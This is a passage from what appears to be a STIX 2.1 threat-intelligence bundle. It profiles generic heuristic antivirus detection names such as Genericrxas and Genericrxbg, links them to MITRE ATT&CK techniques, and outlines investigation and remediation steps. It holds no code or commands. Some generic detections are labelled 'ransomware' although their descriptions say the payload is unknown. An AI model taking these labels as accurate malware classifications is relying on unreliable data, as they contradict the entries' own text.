      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0897d3-9796-5445-a928-b331cf74c5f1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaq exhibits technique T1027 (Obfuscated Files or Information (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30aef960-72b7-5b88-bf2f-7a1ac53c5ae2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0897d3-9796-5445-a928-b331cf74c5f1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaq exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry changes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47ecde26-8ef8-5646-9d3b-5752d873ac62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxas",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxas\" (often displayed as Generic.RX.Trojan or Generic.RX.Suspicious) is a heuristic detection name utilized by various antivirus engines. Unlike \"Genericrxad\" which focuses on Adware, \"Genericrxas\" flags files that exhibit highly suspicious, potentially destructive runtime behaviors characteristic of Trojans, Backdoors, or Loaders. The \"rx\" denotes a detection based on advanced heuristics or sandboxed behavioral analysis rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxas are typically distributed via malicious email attachments (spear-phishing), dropped by exploit kits on compromised websites, or delivered as secondary payloads by initial access brokers.\n\nUpon execution, this class of malware prioritizes establishing a foothold and evading detection:\n<ul>\n<li><strong>Process Injection and Hollowing:</strong> The malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Unauthorized Persistence:</strong> It attempts to ensure survival across reboots by modifying critical Windows Registry hives (e.g., `Run`, `RunOnce`, `Winlogon`) or creating hidden Scheduled Tasks.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain (Command and Control) to receive further instructions or download additional payloads (acting as a loader).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Genericrxas detection in a critical system directory is a severe indicator of compromise (IoC). It strongly suggests that a potentially advanced threat has bypassed initial static defenses and is attempting to execute malicious code on the endpoint. Immediate investigation is required to determine the true nature of the payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against these polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on the malicious behavior flagged by the heuristic engine.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for sophisticated evasion techniques and secondary payload delivery, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.RX",
        "Suspicious.Generic",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxas",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxas"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d858316f-e692-5c28-9c65-a2041948a7bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47ecde26-8ef8-5646-9d3b-5752d873ac62",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxas exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33eee3e5-de8c-5916-8f36-6a9d455d1e0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47ecde26-8ef8-5646-9d3b-5752d873ac62",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxas exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2258b205-1836-5019-bac6-1d53c7163a9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47ecde26-8ef8-5646-9d3b-5752d873ac62",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxas exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c0973ed-f532-5a48-bd4d-8ddb5e1f5731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47ecde26-8ef8-5646-9d3b-5752d873ac62",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxas exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--62f98780-f6bd-510e-8676-3d096d04ed69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxat",
      "description": "<h3>Executive Summary</h3>\nGenericRXAT is a broad, heuristic detection name used by antivirus engines to identify a file exhibiting suspicious, Trojan-like behaviors, even if it does not match a known, specific malware family signature. The \"Generic\" classification means the security software has flagged the executable based on anomalous actions, such as attempting to inject code into other processes, unexpected registry modifications, or suspicious outbound network activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause this is a generic detection, the infection vector can vary wildly. It could be an obfuscated attachment in a spear-phishing email, a payload dropped by an exploit kit, or a zero-day threat that has not yet been formally analyzed and named by security researchers.\n\nFiles flagged as GenericRXAT typically exhibit red-flag behaviors indicative of a Trojan:\n<ul>\n<li><strong>Code Injection/Hollowing:</strong> The executable may attempt to unpack itself in memory and inject malicious code into legitimate Windows processes (like `explorer.exe` or `svchost.exe`) to hide its execution from task managers.</li>\n<li><strong>Unauthorized C2 Communications:</strong> The file may attempt to establish outbound TCP/UDP connections to unknown, newly registered, or low-reputation IP addresses, indicative of Command and Control (C2) beaconing.</li>\n<li><strong>Security Software Evasion:</strong> The executable may actively attempt to query the system for the presence of specific antivirus or EDR solutions, or attempt to disable Windows Defender before executing its primary payload.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA generic Trojan detection must be treated with high severity. Because the exact nature of the payload is unknown, it could range from a relatively benign adware dropper to the initial stage of a catastrophic enterprise ransomware deployment.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Quarantine and Triage:</strong> Ensure the EDR solution has successfully quarantined the file and killed any associated running processes. Do not \"allow\" the file to run if prompted.</li>\n<li><strong>Dynamic Sandboxing:</strong> Security analysts should extract the quarantined file and execute it in a secure, isolated malware sandbox (e.g., Cuckoo) to observe its exact behavioral telemetry and determine if it drops secondary payloads.</li>\n<li><strong>Threat Hunting:</strong> Utilize the Indicators of Compromise (IOCs) generated by the sandbox (e.g., C2 IP addresses, dropped file hashes) to sweep the rest of the corporate network to ensure no other machines have been compromised by this unknown threat.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic",
        "Malware.Heuristic.Gen",
        "Win32/Trojan.GenericRXAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f1f6ce5-eebd-5ec2-9ba1-926380f4cb09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62f98780-f6bd-510e-8676-3d096d04ed69",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33d1093d-feea-5bf8-87bc-dfb12275d45f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62f98780-f6bd-510e-8676-3d096d04ed69",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--024d2872-b7ee-5958-8312-c1c1c38cb63a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62f98780-f6bd-510e-8676-3d096d04ed69",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--167323fb-0d3e-57e9-9cd8-ae1efedce1e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxau",
      "description": "Trojan:Win32/Genericrxau (often seen as Trojan:Win32/Generic.rx!au) is not a specific malware family, but rather a **generic heuristic detection** utilized by Microsoft Defender and other AV engines. This detection is triggered when an unknown executable exhibits highly suspicious, malware-like behaviors, despite not matching any known virus signatures. It acts as a critical safety net against zero-day threats, highly obfuscated payloads, and custom, targeted malware.<br><br><b>Understanding Generic Heuristics</b><br>To an end-user, this detection simply appears as a blocked threat. For a security analyst, a Genericrxau detection is a warning sign that requires manual investigation. Because it relies on behavioral analysis or machine learning rather than a precise hash, the underlying threat could be anything: a newly compiled ransomware variant, a custom infostealer used in a targeted attack, or occasionally, a false positive from a poorly written legitimate application.<br><br><b>Triggers and Execution Behaviors</b><br>The Genericrxau heuristic is typically triggered when an executable performs a combination of high-risk actions (`T1204.002`). This includes unpacking code into memory and executing it via Process Hollowing (`T1055.012`), attempting to disable the local firewall or antivirus (`T1562`), dropping executables into sensitive system directories like `System32`, or aggressively modifying the Registry Run keys for persistence (`T1547.001`). The engine analyzes these behaviors dynamically in a sandbox or via API hooking and assigns a risk score. If the score crosses a threshold, it flags the file as Genericrxau.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the true nature of the unknown payload. The primary IoC is the detection itself on a newly introduced file. Because it is a generic detection, relying on file hashes for IoC sharing is often useless (the file is likely uniquely packed). Analysts must rely on dynamic analysis (EDR) to trace the execution chain: What process spawned the file? Did it make outbound network connections? Did it inject into `explorer.exe`? (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxau",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxau"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4379ab35-9ab8-5bac-9fdb-177db30d3879",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167323fb-0d3e-57e9-9cd8-ae1efedce1e8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxau exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7472c9a5-74ff-53f3-945f-38a911ae21fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167323fb-0d3e-57e9-9cd8-ae1efedce1e8",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxau exhibits technique T1055.012 (Process Injection: Process Hollowing (Triggering the heuristic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c5ed890-52cb-5002-9580-6a8cf0f0ba20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167323fb-0d3e-57e9-9cd8-ae1efedce1e8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxau exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry edits))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1562: Impair Defenses (Suspicious API calls)",
      "description": "MITRE ATT&CK Technique T1562 (Impair Defenses (Suspicious API calls)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1562",
          "url": "https://attack.mitre.org/techniques/T1562/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21f3d9de-6552-563e-bd64-ddca6a908dff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167323fb-0d3e-57e9-9cd8-ae1efedce1e8",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxau exhibits technique T1562 (Impair Defenses (Suspicious API calls))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2095484e-8e90-59ec-b5db-f505f2d2c0c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxax",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxax\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis rather than a specific static signature, indicating an attempt by the malware to evade detection through polymorphic mutation or custom packing.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Genericrxax typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Genericrxax",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxax",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxax"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd3417f9-1627-551c-afa1-e3be4f389ca9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2095484e-8e90-59ec-b5db-f505f2d2c0c9",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxax exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--376f783e-c0c9-5072-9582-34072b0d977f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2095484e-8e90-59ec-b5db-f505f2d2c0c9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxax exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d7994d3-edf2-54bf-b259-bb249522196d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2095484e-8e90-59ec-b5db-f505f2d2c0c9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxax exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65433e18-91bd-506f-b400-4bdaefcb90ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2095484e-8e90-59ec-b5db-f505f2d2c0c9",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxax exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d0b3606-abf0-5dd3-b7d8-89356cd6a542",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxaz",
      "description": "Malware:Win32/Genericrxaz is a highly generic heuristic detection name used as a 'catch-all' bucket by various antivirus engines. It does not represent a specific family, campaign, or threat actor. Instead, it indicates that the AV engine's behavioral analysis, machine learning models, or generic static signatures have identified a file as exhibiting overwhelmingly malicious characteristics, but it cannot confidently classify it into a known, named family (like Emotet or Trickbot).<br><br><b>Understanding Generic 'Genericrxaz' Detections</b><br>To an end-user, this is a standard virus alert. For a SOC analyst or incident responder, a generic 'Genericrxaz' detection is frustrating because it lacks specific context. It means the file is bad, but provides no immediate intelligence on its intent (e.g., is it a ransomware dropper, an info-stealer, or a low-level adware?). It requires immediate, manual investigation (`T1204.002`).<br><br><b>Execution and Analysis Mechanics</b><br>Files flagged under this generic moniker often utilize heavy packing, obfuscation (`T1027`), or novel delivery mechanisms that obscure their true payload from static scanners. The AV engine likely detected suspicious API calls, anomalous entropy, or execution patterns (like attempting to inject into `svchost.exe` - `T1055`) that trigger heuristic rules. Because the exact threat is unknown, the responder must treat the incident as a potential high-severity breach until dynamic analysis proves otherwise.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely unknown until analysis is complete. The primary IoC is the quarantined file itself. Responders must rely heavily on EDR telemetry surrounding the time of execution. Look for where the file originated (e.g., downloaded via Chrome, extracted from a ZIP attached to an Outlook email), what child processes it spawned, what registry keys it modified for persistence (`T1547.001`), and what IP addresses it attempted to contact. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxaz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxaz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6defd7f6-a8cf-5766-82d5-e902f5f43d93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d0b3606-abf0-5dd3-b7d8-89356cd6a542",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaz exhibits technique T1027 (Obfuscated Files or Information (Often the reason for a generic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3262f6a6-66df-5520-9d53-4cec75941a34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d0b3606-abf0-5dd3-b7d8-89356cd6a542",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaz exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90062fb1-5ffa-5f69-8c99-73ccd162528c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d0b3606-abf0-5dd3-b7d8-89356cd6a542",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaz exhibits technique T1055 (Process Injection (A common behavioral trigger for heuristic AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b78b6bba-2ed4-5f84-96fc-b3f0ef88abfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxbg",
      "description": "Trojan:Win32/Genericrxbg is not a specific malware family, but rather a **Generic Heuristic Detection** (short for 'Trojan Generic'). It indicates that an antivirus engine (often Microsoft Defender) has identified an executable file that exhibits behaviors, code structures, or API call sequences that strongly correlate with malicious trojan activity, even though no exact signature exists for the file in the AV database.<br><br><b>Understanding Generic Trojan Detections</b><br>To an end-user, a Genericrxbg alert appears as a standard virus warning. For a security analyst, a generic detection is a crucial early warning sign. It often indicates an encounter with a newly compiled (zero-day) threat, a heavily packed variant of known malware that has bypassed static signatures, or a custom-built tool used by an Advanced Persistent Threat (APT) group.<br><br><b>Execution and Suspicious Mechanics</b><br>Because 'Genericrxbg' is a generic label, the specific mechanics vary wildly. The detection is usually triggered by dynamic analysis (in a micro-sandbox) or behavioral monitoring. The file may have attempted to silently drop an executable into the `System32` directory (`T1036`), tried to inject code into a running system process (`T1055`), modified critical registry keys to establish persistence (`T1547.001`), or initiated outbound network connections to suspicious IP addresses immediately upon execution (`T1071.001`). The AV engine observes these 'trojan-like' actions and blocks the process heuristically.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the true nature of the blocked payload. Host-based IoCs consist of the quarantined file itself and the specific EDR telemetry detailing exactly which API calls or file system modifications triggered the heuristic engine. Network IoCs are critical for determining the malware's intent; analysts must review proxy logs for any outbound connections attempted by the process just before it was terminated. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxbg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxbg"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94f2c77b-9194-5237-8cb9-79dc3ce130f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b78b6bba-2ed4-5f84-96fc-b3f0ef88abfe",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbg exhibits technique T1055 (Process Injection (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4afcfb79-17b5-51f1-855b-7637d06f59da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b78b6bba-2ed4-5f84-96fc-b3f0ef88abfe",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbg exhibits technique T1027 (Obfuscated Files or Information (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0472d48-9e1f-5e71-9bea-7dfca19800f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b78b6bba-2ed4-5f84-96fc-b3f0ef88abfe",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbg exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry changes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--21630bd6-8aed-57ac-9eb5-e18e96897ad9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxbm",
      "description": "Trojan:Win32/Genericrxbm is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxbm (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxbm usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), 